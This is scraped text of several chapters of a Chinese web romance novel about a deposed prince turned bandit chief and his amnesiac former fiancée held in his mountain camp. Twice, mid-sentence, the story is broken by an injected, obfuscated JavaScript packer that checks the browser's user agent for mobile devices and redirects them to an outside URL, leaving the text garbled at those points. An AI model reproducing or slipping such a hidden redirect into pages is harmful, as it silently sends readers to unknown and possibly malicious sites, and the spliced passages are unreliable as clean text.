面对小哥哥的责难,惜汐只是默默咽下,因为她觉得自己的确是错了:“是的,那样的我一点也不够好,不思自己的不足,反而不自量想通过染`指小祎哥哥,来逼迫你和我在一起,更是无耻至极。” “我会改错,小祎哥哥请你等我,等我变得更好时,再回来找你。” 苏汐惜擦干眼泪转身就跑,她是打算既然自己不够好配不上小哥哥,那就先回家去找先生授课,她知道女子学些琴棋书画刺绣功课有助于变细心,到时候自己变贤淑了就不怕小哥哥不喜欢了。 李祎见她要趁机跑路,连忙三两步上前,双手一提拎,像提拎猫儿狗儿一样穿由她腋下将人提拎起来。 “你回来好好说清楚,你说的染`指是什么意思?说要改错,如今又跑,这算什么?” “你厌恶我...”苏汐惜两腿悬空,有些尴尬地在他跟前扑棱,低着头猫儿似的哼卿道:“必是不愿再见我了,我想等自己改好了再回来找你。” “怕不是你被老子识破了,想逃吧?还会回来?”李祎嗤道。 苏汐惜微微仰脸,试探道:“那你...是允许我继续留下的意思吗?” 骤然碰触到她的目光,李祎又想起刚才两人挨贴很近的情景,连忙别过脸,“嗯”了一“嗯”,当是回答,然后又哼道:“那...你说的染`指,什么意思你给老子好好说清楚。” 惜汐眨了眨眼,她以为自己已经说得够清楚了,“染`指就是...字面的意思啊,我馋你身子。” 因为手札上是这么写的。 不料她那么一说,下一刻男人的手闪电似的缩了回来,她被摔在地上,摔得不轻。 她疼得眼泪都摔出来,等她抬头找他时,却发现前儿还凶悍得很的高大伟岸的男人像躲厉鬼似的,一下子消失无影,甚至还把兵器房的门从外紧紧锁上了。 “小哥哥你...你听我解释啊!” · 春和见老大从兵器房出来,一副失魂落魄的样子,迎上去:“老大!” 他们老大现在的气场像比起平日还要冷,可明明刚才送走大夫时心情还不错的说,转眼就阴云密布,像快要雷电闪鸣似的。 “老大!老...”春和没能喊住他们老大,李祎一副生人勿近的模样,擦肩而过谁也不搭理。 “你有没有觉得最近老大有些奇怪,昨日突然间一改往常衣着习惯,换了一身精神些的衣裳,心情还很不错地随手抓住一个人就问他今日俊不俊美,直到今日早上都还很不错,然后突然之间就谁同他说话都不应不闻,你说他是怎么了?” 春和跑去同景明诉苦。 景明只比哥哥小一岁,今年十五,瘦削个高,时常喜欢摆弄些刑具,研究剥皮屠宰之类的。 春和找他说话时,他正在给野猪放血,看着那头活生生的猪痛苦嚎叫着放完了最后一滴血,他眼睛发光。 “还能是怎么,耳朵听不见呗,你身为老大的贴身随从,老大耳朵听不见你不给找大夫,跑来跟我诉什么苦?”吊梢眼少年没好气道。 春和不想再同他这笨蛋弟弟说话了,他同他们老大一样是榆木脑袋。 “你就杀你的猪吧,以后就跟这些脏器啊、尸首啊、刑具呆一辈子吧!” 春和气呼呼跑了。 李祎拿上他的长剑到林子练剑,他手握长剑,长身玉立,转腕一挥,林子顿时像刮了一场狂风暴雨似的,树枝乱打,落叶纷崩,林木竹子像经历完一场洗劫那么凄惨。 他觉得自己最近脑子不清醒极了,急需找一个情绪发泄口。 就在他再次负剑腾起时,身后突然落了一道黑影,这道黑影以极快的速度从他身后偷袭。 李祎耳尖微动,一套动作如行云流水,收放自如,顷刻就将敌人击倒在地,剑尖抵喉。 可这次这位黑衣人显然也非泛泛之徒,明明已经被羁住身影,等发现时,剑尖抵住的便成了一堆穿着黑衣的木柴,人已经绕到身后,猛然袭来致命的一击! 长剑“噌”一声映着纷乱落叶,一下子抵在对方后背心脏,然后发现,李祎已经一个闪身,握住对方的脖颈,从后制压了。 “锵”一声,敌手的剑从手中滑落,哈哈笑出了声。 “殿下剑术又厉害了!” 李祎垂眼收回长剑,懒懒地,“不是让你南下纠集残部,这么快就回来了?” “前日回来了,本想留在山下多喝几日花酒再来向殿下复述情况的,谁知那个被你捡回来养的春姑着急去信急召属下过来。哦,对了,属下还没恭喜殿下成功打退水帮,夺得芜山。”霍无名双手交叉放在脑后,嘴里叼一根草。 “听说殿下最近为情所困,春姑叫属下回来给殿下解惑。”霍无名惯把春和唤成春姑,时常说他爱跟在殿下身后叨叨絮絮的样子,像个婆娘。 “胡说八道!”李祎收起剑想走。 “殿下稍慢!”霍无名追上前,“属下回来时去见了一下春姑所说的那女子,她是宁国公嫡女,殿下从前的未婚妻,苏大姑娘啊?殿下怎么会将她掳上山了?” “老子是无意中救了她!谁掳她了?” 废太子被迫落草为寇这段时日里,早已经把自己的一言一行都变得跟山贼头子无异。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041511|178794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好好...殿下没掳她,那她为何会出现在芜山?难不成是她对殿下死缠烂打,要对殿下以身相许?” 李祎睨他一眼,“不错。” 霍无名瞪大了眼睛,“可那是苏大姑娘!殿下开玩笑也不是这么开的吧?全京城有谁不知道苏大姑娘乃贵女典范,她这样循规蹈矩的人,怕是连婚前不小心与未婚夫婿私下见了面都要以死明志,她怎么可能主动留在这里??” “春姑当时说的时候,属下还有些不相信,这不会是真的吧?那既然这样,殿下又为何将她关押在兵器房几日?” “因为——”李祎长舒口气,“她馋我身子。” 霍无名:“???” “这...这就是...殿、殿下最近烦恼的原因?”他竭力忍笑。 李祎刀他一眼,吓得霍无名立马正经了。 “好笑?” “不、属下...不是在笑殿下,”霍无名把自己掐疼,道:“属下是在想,苏狗当年见容家不行了,就对殿下落井下石,转眼同裴家勾连,他的女儿同样不是个东西,对殿下见死不救,如今落到殿下手中,总该有仇报仇,有怨报怨了,可殿下为何如此烦恼?如果是怕苏家因而查到芜山上来,属下可以...” “区区苏家,如今他们自己尚且不能自保,老子会怕一条无牙的狗?” “那殿下是...” “苏汐惜...老子如今越发看不透她。” 她说馋他身子的时候...好像是真的。 可从前的她,不可能是这样的。 说到从前,在李祎小的时候认识的苏汐惜,好像也跟后来回到京城后的苏汐惜很不一样。 李祎记事很早,在他三岁左右,母后容氏就甍了,他被容家一个小舅舅带到漳州,宁国公驻军的地方,想让他趁早锻炼成钢铁意志,早日从容皇后甍逝的阴影走出来。 那一年苏汐惜还是个刚学会走路,长得玉雪可爱的小娃娃,因为母亲卢氏产后身子虚弱留在京中休养,宁国公苏穆又是个爱女心切的父亲,女儿刚满周岁就将其接到漳州亲自带着。 那时,三岁的李祎还是个小孩子,失去母后这件事对他而言,就像天塌了一样。 他变得沉默寡言,只想找角落里自己蹲着,谁来招惹他就咬谁。 容将军拿他没有办法,将军府里没有一个奴婢敢靠近他,给他送饭他就直接拿滚烫的饭菜泼人,有一次朝一个奴仆当面泼了一碗热鸡汤,容将军心知不可再纵容他行恶,当场将他拎起提到长板凳上,亲自打了他板子。 小孩子被那比他大腿还粗的板子打得皮开肉绽的时候,他死死紧握住小拳头,连一句声音都不发出。 后来容将军才知道他小臂处也被鸡汤烫掉了一层皮,被热油烫伤的痛多么难忍啊,而三岁的小太子竟一句话也不说。 于是自那以后,小太子就没吃过热乎的饭。 一天,宁国公带小汐惜来容将军府,走路摇摇摆摆的奶娃娃趁着爹爹不留意,走到偏院角落,小太子蹲的地方。 她歪下圆圆的脑袋看小太子,小太子忍住烦躁没理会她。 本以为不理会,小奶娃就会觉得没趣自己走开。 谁知她蹲下来研究了他身旁那碗冷饭好久,突然指着饭碗高声笑了起来:“狗狗,饭饭...给狗狗吃...” 7. 第 7 章 小汐惜在军营里看见兄长们喂军犬都是这样的。 弄一碗冷饭搁在狗面前,那狗就会狼吞虎咽吃掉。 可面前这生得白白净净的“狗狗”似乎不吃饭,难道是病了? 小汐惜一双藕腿蹲都蹲不稳当地看李祎,奶声奶气朝他道:“泥...泥吃饭呀狗狗,汪汪...狗狗吃饭汪汪...” 说着,她还做起了动作,看着让人啼笑皆非。 小太子生气,但他不想跟这么小的小奶娃计较,便黑着脸转过身子没有搭理。 谁知小奶娃生怕“狗狗”生病,担心得眼睛红红,瘪起嘴呼口水泡泡瞧着难过得快要哭了,“狗狗...狗狗不要病病...” 她朝他伸手想摸他额头,她记得自己每回生病,爹爹都用手摸自己额头,然后喝下苦苦的水,病就好啦。 小李祎见她想用脏兮兮的小泥手摸他,顿时想站起。 孰料他站起的时候身子往前一带,碰得小奶娃蹲不稳身子,小泥手便下意识抓住了他衣襟,自己笨拙地往前扑。 奶娃娃带有馨甜奶香和口水泡泡的小嘴巴,便亲到了小李祎的唇上。 小太子顿时黑了脸。 苏穆不见了女儿,着急得四处找,等他和容将军找到时,发现小奶娃正眯着眼逼小太子喝她双手舀起来的泥水。 小太子脸色阴沉得能滴出水来,容将军生怕他一个反手将人家宁国公千金打飞,幸好他只是端起边上的冷饭,狼吞虎咽地把腮帮塞得满满。 好像不把嘴巴塞满就会被小女娃灌黑乎乎的泥水似的。 容将军很欣慰,为了让太子多吃饭,便央着宁国公多带女儿来。 后来军事繁忙,苏穆自己也顾不过来,为了方便,他干脆让奶娘和伺候小汐惜的奴仆住到容将军府里去。 那段时间,是小小的李祎心中阴影最深的时候。 几乎是一听见小女娃脚腕上叮叮当当铃铛声,他就自觉端上旁边冷饭狼吞虎咽。 苏汐惜成了他幼年用来驱散痛失母后阴影的,另外一种阴影。 二人同吃同住长大,一直到七岁,小汐惜被卢氏喊回京城。 小时候的苏汐惜喜欢追在李祎身后“小哥哥”、“小哥哥”地喊。 她性子古灵精怪,三两天就要闯一次祸,都是因为好奇心太重,不是拿鞭炮炸掉姚校尉家的蜂窝,就是偷拿张巡抚小妾的舶来胸`衣穿在自己身上,还招摇过市地穿着走来走去问他好不好看。 当时她闯下的祸,不是她兄长来收拾,就是李祎帮她收拾。 后来苏家和容家干脆商定,请求让陛下赐婚,定下这桩天赐的缘分。 当年的李祎是很抗拒的,后来小姑娘知道后,抱着自己最心爱的绢娃娃和小裙子过来找他。 “小哥哥,爹爹说你不喜欢惜惜,不愿意娶惜惜,梅香说两个人是否相思慕恋,也是要努力的,惜惜很喜欢小哥哥,是因为小哥哥付出努力了,小哥哥总是在惜惜闯祸时帮惜惜兜着,有好吃的都留给惜惜,所以惜惜才会喜欢小哥哥。那小哥哥不喜欢惜惜,应该是惜惜不够努力,所以...” 她把手里的绢娃娃往他怀里一塞,塞完眼睛还恋恋不舍的盯着娃娃看,很快她就不看了,咬咬牙道:“所以从今往后,惜惜也要加倍努力对小哥哥好,把惜惜最喜欢的都送给小哥哥...” “你就是想破你瓜子仁大小的脑袋对孤好,孤也不会喜欢你的。”李祎很煞风景地来了一句,把绢娃娃扔回给她。 “那就...那就...那就...”小小姑娘眼睛都急红了,慌道:“那惜惜就加倍地、再加倍地...” “再加倍也不行,再再再加倍也不行。”小少年李祎冷漠道,“不喜欢就是不喜欢。” “那、那、那...”小小姑娘急得快哭了,“那我还是...还是...” 他以为她会说放弃,不料,她重新将绢娃娃塞回他怀,擦掉眼泪笑道:“梅香说喜欢一个人是自己的事,就算你不喜欢惜惜,惜惜既然喜欢你,就还是应该要对你好,用尽全力地对你好。” “梅香说,喜欢是一种能力,让你喜欢的人、让自己感觉幸福的能力。” 李祎盯着她那张哭得脏兮兮的笑脸看了好久,差点回不过神,心头也有一股奇异的久违的暖流淌过,热烘烘的让他无所适从。 “你...小小年纪老是喜欢啊、恋啊、相思的说个不停,羞不羞啊?你懂那是什么意思吗?”小少年蹙眉。 “当然知道啊,梅香早就告诉我了,就是男人跟女人,以后要躺在一张床上,造娃娃呗。” “惜惜愿意跟小哥哥造娃娃,愿意把身子给小哥哥!” 说话的人一副天真烂漫的模样,听的人却羞得听不下去逃了。 “欸!小哥哥...” 后来李祎没再反对婚约的理由是:夜里看见榻上一堆的绢娃娃会做噩梦,和不想再被逼着穿小姑娘的裙子了。 小时候在漳州长大的苏汐惜热情、大胆、跳脱,富有灵性,后来长大,李祎回京再见多年不见已然长成亭亭少女的苏汐惜,她已经变成了大多京中贵女的模样,甚至比那些贵女要更严于律己,灵性全无,冷淡寡情。 如果可以选择的话,李祎觉得自己还是更愿意选择原来的顽劣小少女,虽然时常闯祸让人头疼,但是以他当时的太子身份,不愁兜不住她。 只是现在... “这么说来,如今的她倒是跟她小时候的性子很像,害得我都有些怀疑后来遇到的那个苏汐惜被人换了芯子,这个才是我从小认识的苏汐惜。” “那殿下可喜欢现在的她?”霍无名听故事听得津津有味,忍不住点破道。 “我...”李祎握了握拳,“可是...” “殿下龙血凤髓,将来大业终成,便是天下之主,可不必拘泥于男女情爱。” “苏大姑娘既然换了一副嘴脸前来接近殿下,必定是殿下身上有她所图谋的,殿下何不将计就计?” “殿下不是认为苏大姑娘想只身犯险擒拿殿下,用作筹码挽救家族吗?那殿下你也可以反制过来将她擒下,用以挟令宁国公交出兵权啊。” 宁国公对当今圣上沥胆堕肝,不愿做出不忠君之事,宁可让女儿来找他,做不义之人,那他为何不能反过来拿捏住苏汐惜,逼那苏老头让出兵符助他起兵? 先前没想到,是因为李祎还是顾念旧情的,幼年他在漳州,苏穆曾是亦父亦师一样的存在,可是后来,容氏倒台了,苏穆便毫不犹豫同裴家打好关系,一直把他拒于门外不肯相见。 裴家那是什么人?一群靠打压容氏,中饱私囊欺世盗名之辈,迟早他要让裴家上下为当年诬陷容家的事付出代价。 “行,老子知道该怎么做了。” 李祎阴恻恻道。 · 苏汐惜被锁在兵器房里几天,没有人记得来给她送饭,人都瘦脱形了。 是后来春和无意中发现,架着木梯撬开上方没来得及封锁的楣窗,从那里将包子扔进去,才不至于饿死。 “这位小...”汐惜想起上回叫旁人小哥哥,小祎不高兴的事,立马改口:“这位大哥...我...能不能再要些水...和要...要些...” 她说不下去了,感觉有些委屈,哽咽:“要些...” 被囚禁在屋里的这几天,苏汐惜一直用她那不大灵光的脑袋瓜想呀想。 她在想她的小祎哥哥为何要这样对她,他不让她出来,不给她送饭,想要饿死她,真的好坏好坏。 这么坏的小祎哥哥,她不明白自己为何还要这么迷恋,迷恋到在手札上页页纸、只只字都与他相关。 但她明白自己只是一时之间不知因何原因忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041512|178794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这些事,等她回想起来,那些手札上所写的深刻的感情就回来了,所以她不能现在就替从前的自己决定,她得替自己好好守着她的小祎哥哥,遵循手札上的来,不让未来的自己后悔。 可是,她现在真的感觉好委屈好委屈啊! “呜呜...这位大...大哥...” “那那个,惜惜姑娘还是喊我春和吧,你喊我们老大小哥哥,喊我大哥...这,不好...”春和憨笑着挠头。 “春春和...呜呜...”汐惜泪目:“能帮我要些...要些那个回来吗?就那个...” 春和神色慌张腿都快跑断地去找李祎。 “老老老...老大!不不不不好了!!” 李祎正在校场上操练将士,那些从各处山寨挑出来的乌合之众,竟过他的手训练一段时日,规模小成,气势渐隆。 “咋咋呼呼的,嚷嚷什么,不是都跟你说过要有纪律吗!” 经他这么一唬,春和吓得双脚立马站正:“报告!老大有要事,可否过来一旁商议?” 李祎背着手,眼睛仍在盯着矩阵,神情严肃:“有什么事情大声宣告,想好决策和备案,我来决定,不是跟你说过吗?!” “报!”春和只好硬着头皮宣道:“惜惜姑娘月事来!需要找月事带!我们山上都是男子,没有月事带也没见过月事带!办法是下山找一女子,请她帮忙缝制!但我们都是男子,贸然找女子要求做此物唯恐引起祸端!最好是看山上哪位弟兄会针线,能缝制的!” 他话一落,校场上诡异的目光全都落在他们老大身上。 李祎恼羞道:“看老子做啥?!你们都不会难道老子会??” 这段时间忙着训练,李祎竟然忘了兵器房里还关着一个麻烦精。 本是打算这几天就要过去找她了,没想到就被春和寻了来。 卸开兵器房的锁,推开槅扇门那一刻,门上土灰散落,屋内扑鼻而来的血腥味浓重。 因为屋里的姑娘是老大的人,春和识趣地把人带到后就守在门外,一步也不敢踏进,眼睛也不敢乱瞅,味道也不敢乱嗅。 李祎看见屋内从里屋的床榻,到外面兰锜架旁的地上都蜿蜒着一道长长的血迹,门口的姑娘浑身是红倒在血泊,瞧着已然不知淌了几天的经血了。 李祎怒呼:“春和!!进来收拾!” 圆眼少年吓得眼睛更圆,“老、老大,我不方便,还是你自己...” “我自己??”他气笑。 春和看也不敢看屋里,唯恐冒犯,又怕老大揪着不放,将来二人和好时自己惹祸上身,“我...我还要清点水寨的赃物分类归还,先走了”然后脚底抹油似得跑了。 留下屋里只有李祎独自面对。 这是李祎长这么大第一次见这种场面。 战场上血战场景见多了,却从来没见过一个人自己待着也能弄出个“战场”来。 他一边捏紧鼻子,一边用沾湿的巾帕擦着地上已然干涸发黑的血迹,整个人被气得七窍生烟,头晕眼晃。 “苏汐惜啊苏汐惜,你还真是有能耐啊...” 李祎擦到她趴的地方附近,喊她挪位置没回应,以为她死了,吓得赶紧探她的脉,才知她竟然在这种情况下也能睡着,还怎么喊都没反应。 看着她面容安恬,呼吸一张一吸,睡得十分舒服的样子,他气不打一处来。 “老子当年是谁你不知道吗?哪怕虎落平阳了那也是山里的土匪头目!什么时候这么憋屈沦落要给女人擦秽`物??” 李祎一边骂一边擦,脚边就是水桶,一不小心就被踹翻,桶里的经`血便泼了他满头满脸。 骨碌碌——空水桶滚远,刚好滚到熟睡的姑娘身边,大概是吃完包子饭气太上头,她睡得一无所知地又翻转个身,换个更舒服的姿势继续睡。 8. 第8章 李祎想到霍无名的话,只得努力平息怒火。 可看着她睡得一片世界安宁的模样,这口气又着实咽不下去。 于是,他用擦经`血的巾帕擦掉自己被溅得满头满脸的血,然后手指沾了点经`血,往那边睡熟人儿的白皙滑嫩脸蛋上画了只猪。 才刚画完,姑娘就幽幽醒转,睁眼的顷刻,李祎赶紧装模作样用帕子往她额角擦去: “你发了汗。” 他一脸正经沉着,脸不红心不跳道。 苏汐惜醒来一睁眼就与他四目相对,过了会儿,才想起自己是什么处境,连忙“啊”一声起来直往身后兰錡架方向挪退。 “欸!你...”李祎眼巴巴看着她脸顶一只可爱的血“猪”往后挪时已经来不及了。 才刚擦好的地方,被她沾血的裙摆这么一涂染,就又白擦了。 黑鹰帮匪首黑沉了脸。 苏汐惜只是不愿他看见自己狼狈的样子,她缩在兰錡架后不敢出来。 “小祎哥哥一定...呜呜...一定很嫌弃现在的惜惜...” 说完这句,她仿佛又想到什么似的,更委屈了:“我...我不过就是想睡`你而已...又没...又没真的行动,想想罢了,你...你...你何至于如此...我就...如此招你恨?” 见她又提这茬,李祎显得有些不自在,脸上开始发烫,心里想打人,但一想到自己的计划,只能忍住。 “没有,一时适应不过来,害你受委屈了。” 平日里高高在上惯了的山匪贼头,这便算是道歉了。 而苏汐惜连日来被关锁在此的委屈,也随他这句道歉“哇”的一声哭了起来。 李祎眉头紧蹙:“你别哭啊。” 他最不擅长哄人,儿时在漳州时,她找他陪自己玩各种捏泥巴和新郎新娘成亲游戏,时常也是随便哭一哭他就认栽,随便哭一哭他就妥协。 “喂,好了别哭了!” 他语气颇冷唬她。 苏汐惜委屈地一直往后退,边退边哭,李祎眼见着地上又擦出新的血痕,心知当务之急是赶紧缝制月事带,还有让她清理身子、更换衣裳。 由于山上没有别的女人,先前水帮留下的那些姬妾的衣物都被黑鹰帮弟兄一来就烧掉了,所以,只能找男人衣裳给她更换了。 从苏汐惜被抬上芜山以来,她便一直都穿同样的衣裳,说实话她也确实亟需沐浴和换衣。 “老大,我们这些弟兄每日操练身上汗臭熏熏的,衣裳洗得也不够干净,这...不好让惜惜姑娘穿吧?” 春和见弟兄们一脸为难,赶紧过来解围道。 “不过,老大算是我们这些人当中最爱干净的了,平日里洗个衣裳也要往里放皂角,洗干晾好还要用香木点着来熏衣,比姑娘家还讲究的,惜惜姑娘应该更愿意穿老大的衣裳,大家说对不对?” “对对对!穿老大的好!”众人一致附议。 这些时日来,大家都或多或少感觉到向来不近女色的老大,对那位掳来的姑娘不一般,现在让那姑娘穿自个衣裳,虽说是老大要求的,但难保日后这两人好上以后,会被老大来寻仇。 毕竟哪个男人愿意自个婆娘曾经穿过别的男子贴身衣物啊。 李祎阴着脸:“春和,就用你的吧。” 春和无缘无故接了个烫手山芋,懵了。 其他人的话,只要老大不点自个,日后烧不到自个头上就行:“对对对!穿春和的好!” 春和磨磨蹭蹭过了大半个时辰才把衣裳拿来,此时李祎已经给苏汐惜换了个屋了。 就在寨子第三进的院落,李祎住的正院东侧的小院子里。 那里也有面阔三间的正房,左右两侧是耳房,苏汐惜如今就待在东边的小耳房里等待。 这里的房子都是木瓦结构,所有的院落和房屋之间都有长长的木质走廊联结着,春和捧了衣物,走在木廊上,看夕阳西下余晖从上方的木瓦天井打进院落,看散落在墙角的几支生了锈的冷兵器,心情格外沉重。 “衣服送来了,赶紧进去洗洗换上吧。” 李祎环臂斜依在木框边,踩着门槛斜眼睨着屋里 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“哎哟!老大你不要害羞嘛!”春和为了将来自己不成老大的眼中钉,只能现在稍微得罪老大一下,最多就受点皮肉苦,好过日后被拿去喂狗,“人家惜惜姑娘才不会嫌弃你穿过的衣裳,惜惜姑娘你说是吧?” 说着,还眼神示意她赶紧进去沐浴更衣。 “我...我...”汐惜整张脸都烧红了,看着被春和硬拉住的气势汹汹的匪首,“我不嫌弃的!” 说完,她就一溜烟抱住衣服往净房屋里跑,然后把门关上,木栓横上。 毕竟,她也不想穿那些臭烘烘的衣裳。 见追回衣裳无望,李祎气得只能用可怕的眼神瞪着春和。 春和却不慌不忙把怀里一堆针线和棉布料拿出来:“这是我在水帮库房里找到的,料子还挺新的,老大就用这个做月事带吧。” 说完,他把东西往人怀里一塞,不等他们老大发作,就机警地逃跑了。 李祎手拿针线包和柔软布料,脸色铁青。 9. 第9章 苏汐惜把自己彻底清洗干净,换上李祎的衣裳,因为自己现在还不干净的缘故,怕他介意,没敢直接穿他的亵`裤,而是用自己的衣裳在里头垫了一层再穿。 为了不让她再弄脏屋子,李祎拿了个抱枕给她垫着坐。 已经傍晚,苏汐惜洗完出来的时候,见榻几上放了好几碟小菜和面条,李祎就坐在旁边,就着远处的陶瓷灯罩里发出的羸弱火光穿线。 “我去...把灯移近些...”她还是感觉自己应该做些事。 李祎睨了她一眼,“故意的是吧?坐好!” 汐惜不知道他说的故意是指什么,只能乖乖坐好。 “山上的伙食就是这样,将就着吃些吧。”他冷峻的眉眼始终低垂专注着穿线,一张俊逸的脸糅合在灯光和窗外透进微弱光线中,比起往常看起来变温柔了些。 苏汐惜没法不盯着他看,感觉自己左边心口处“噗噗噗”地跳动。 她“嗯”了一声,就着抱枕坐下,握起筷箸小口品尝起来,“味道...挺不错的。” 李祎听见她的回应,稍稍侧头来看她一眼,又垂下去,将穿好的线对折好,打结,剪掉多余的线。 “要剪成什么样的?” “啊?”面对他突然提出的问题,苏汐惜把正吃着的面条咬断,抬头傻愣地着看他。 “啊什么,老子问你月事带要做成什么样的?” “哦...那个,长条状的就好...要有夹层,里面...塞棉或者草木灰都行...” 苏汐惜虽然记不得以前的事了,但还是下意识觉得让别人给自己缝制月事带是件难以启齿之事,尤其还是让一个男人来缝。 “这宽度可行?”他把裁好的形状递给她。 苏汐惜把脸埋在比她整张脸还大的海碗边上吃面,眼睛都不敢抬:“嗯...嗯,可可以的。” “你都没看。”李祎啧了一声。 “我我我...我看了,看了...” 汐惜飞快地抬眼一瞄,又匆匆垂下头吃,发丝都埋进去了,也不知道是在吃面还是吃头发。 “算了,你说可以待会可别说窄了把血弄洒出来啊,老子可不帮你清理了。” 汐惜听着吓了一跳:“不用你清理!你可千万别再清理了!” 不然,她可就要往地下挖个坑将自己埋进去了。 闷头在碗里吃了好一会,汐惜见屋里没了动静,便悄悄从碗里抬眼。 发现她的小哥哥还坐在她旁边的矮榻上,神情专注,手法熟稔地做起了针线。 他认真起来的时候真的很迷人,苏汐惜瞳孔放大地盯着朦胧光影中飞快穿梭针线的男人,突然有些理解,从前的自己为何如此痴迷于他,痴迷到页页纸、只只字都是他。 盯着他看着看着,突然看见他挽起袖子可见青筋浮起的小臂处,有那么一点红殷殷的耀眼的点。 细看之下,发现竟是血。 应该说,是她的经`血。 汐惜一下子慌了,才想起来刚才就是小祎哥哥帮她清理的。 那么...现在她到底要不要提醒他手臂上的血呢? 可是不提醒的话,万一... 正当她犹豫不决之时,她生怕发生的事情发生了,只见他缝制到一半,突然停手抬臂擦了下额间的汗,于是,那点经`血就全糊他额上,从锋利的眉毛一路往上,蜿蜒着血路直入鬓角,给他清绝的面容增添了几分戾气。 这下苏汐惜可彻底不敢说了。 她正襟危坐地埋头继续吃面,差点把碗都吃到脸上,脑海中不停浮现的都是小哥哥在她睡着期间给她擦血的情景。 他捋起袖子,露出他那遒劲有力的小臂,使力拧干带有经`血的巾帕,然后,那五根修长好看的手指,沾满了从她下方血孔甚至将来用以孕育子嗣胞宫里淌过的血... 此种场景,简直... “怎么都不说话,在想什么呢?” 苏汐惜正在脑海里疯狂嚣叫着,突然被他出言那么一吓,吓得面条直往鼻子钻出。 她尴尬地咳嗽着捂住鼻子:“没...咳咳咳..没想什么,什么也不敢想!” “不用这么害怕,我就是见你无聊,跟你说说话。”李祎皱眉地抬头看她,见她咳得衣衫凌乱,眼泪都流出来了,一副带雨梨花,娇嗔惹人怜的模样。 恍然发现,夜色已深,二人就这么孤男寡女共点一灯,待了这么长时间。 李祎不动声色将目光移开,喉`结微滚,轻咳一声缓解尴尬。 确实,不管是她还是其他京中贵女,都不可能这么跟一个 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苏汐惜听这简单的话里似乎蕴藏着许多,不想问得太细,怕勾起他不高兴的事,便没有再继续问下去。 月事带很快就缝制完成了,他拿着新做好的月事带毫不避讳地当面递给她:“来,试试尺寸对不对,对的话我就按这尺码多缝几条了。” 苏汐惜脚趾头已经在地上抠了座皇宫,飞快地接过,头还是不敢从面碗抬起来:“其其其...其实我已经吃碗面,剩...剩下的可以自己缝制了...” 李祎瞄她一眼:“行,那你赶紧垫上月事带,开始缝制吧。” “对了,你这来了几天月事就流这么多血,怕不是正气不足产生了崩漏,改日找大夫给你瞧瞧,好好调理调理一下,不然这得要缝多少月事带才够。” “嗯嗯,好...” “脾胃不好或者情志内伤也会造成血淤堵,这血一堵就会不归经,一旦热邪迫血,则会血流不止,你一个姑娘家,平日居然不注意这些,这淤堵怕不是一朝一夕了。” “嗯...小祎哥哥...教训的是...” “那没什么事我回校场了,晚上还得带弟兄们训练。” 李祎走后,过了许久,苏汐惜才终于敢把头抬起,恍然想起,她好像还没提醒他擦脸!! 10. 第10章 校场上火光熊熊,将士气势如虹。 黑鹰帮首领从望台上下来,走往队列当中。 “大家都练得很不错!辛苦了,只是有些小细节还得注意下。” 李祎肃着脸说话的当头,大家都表情古怪,或畏惧或敬惮,比起往日要更安静了些。 “好了,现在大家都明白了,再练一次我在高台上看。” “是!!!” 大家今日回答的声音也格外嘹亮,操练时也格外积极,就连场外准备茶水的弟兄,都唯恐一松懈下来会遭难。 “张东,你下去告诉他们,右边队列还需调整,动作不够整齐。” 李祎对身旁的张东道,张东吓得立马连姿势都站正了:“是!!!” “你们...今日有些奇怪。” “老大,我...立马下去告诉他们!” 张东眼见首领挎着长剑过来,吓得赶紧脚底抹油似得下望台了。 李祎并非一无所察,虽说这么看来军纪情况是又好了不少,但总感觉大伙...有些过分的紧张了? “大家快些把动作练好!老大今日杀人了,心情不好,我们不要触他霉头...” 张东在校场边替首领传话,大伙儿立马就都惊慌了。 “老大这是杀了谁啊?不听话的人?” “晚上好像就没看见春和小哥而已,难道说...” “春和这人有时候确实唠叨了些,话特别多,不怪老大看不惯他,但也没必要把人杀了啊...” “说不定这就是‘杀鸡儆猴’啊,老大这是在告诫我们别自作聪明,你看那春和不就是时常自以为是,老大都说了让兵器房里那女人自生自灭了,他倒好,非要去...” 大家窃语间,景明朝这儿来了。 “这么晚还操练啊?我新做了武器,有没有人愿意过来试一试?”景明扛着个大木箱道。 大家你看我我看你,这时候,李祎也从望台下来,朝这边走来。 “做什么都停下来,继续啊。” 漆黑中,一个挺拔高大的身影从暗处渐渐显出,他面容冰冷,尤其贯穿眉毛和鬓角的那道血红,让他看起来由于从阎罗炼狱里爬上来的凄艳厉鬼。 这时景明抬头望了望老大的脸。 众人屏住呼吸,害怕着会发生什么。 谁知,没有心肺的景明小哥吊梢眼向上一扬道:“老大,你终于用上我准备的刑具了吗?” “是不是用了那把特制的斧钺?一斧头下去,头就破了,血水溅洒出来了是不是?” 他双眼极其兴奋道。 一旁的将士们都纷纷替景明这家伙着急,这一看在场的人,不见了的就只有他兄长春和啊,你说老大若给人动刑了,还能给谁动? 哦,也不是...好像这山上还有另外一个人... 这“另外的人”正擎着灯,走路费劲地从房舍那边的方向朝这儿气喘吁吁跑来呢。 正是老大从山下掳来的,这芜山上唯一的女人,苏汐惜。 她此时身上套着宽大的袍服,裤子臃肿地往上挽起,跑得七零八落的,很是可笑。 “还好...还好总算是找到你了...”她累得用嘴巴喘息,捂住胸口,发丝散落,方才在屋里时没敢仔细看,现在一看,前面的头发似乎有一段明显被剪掉了。 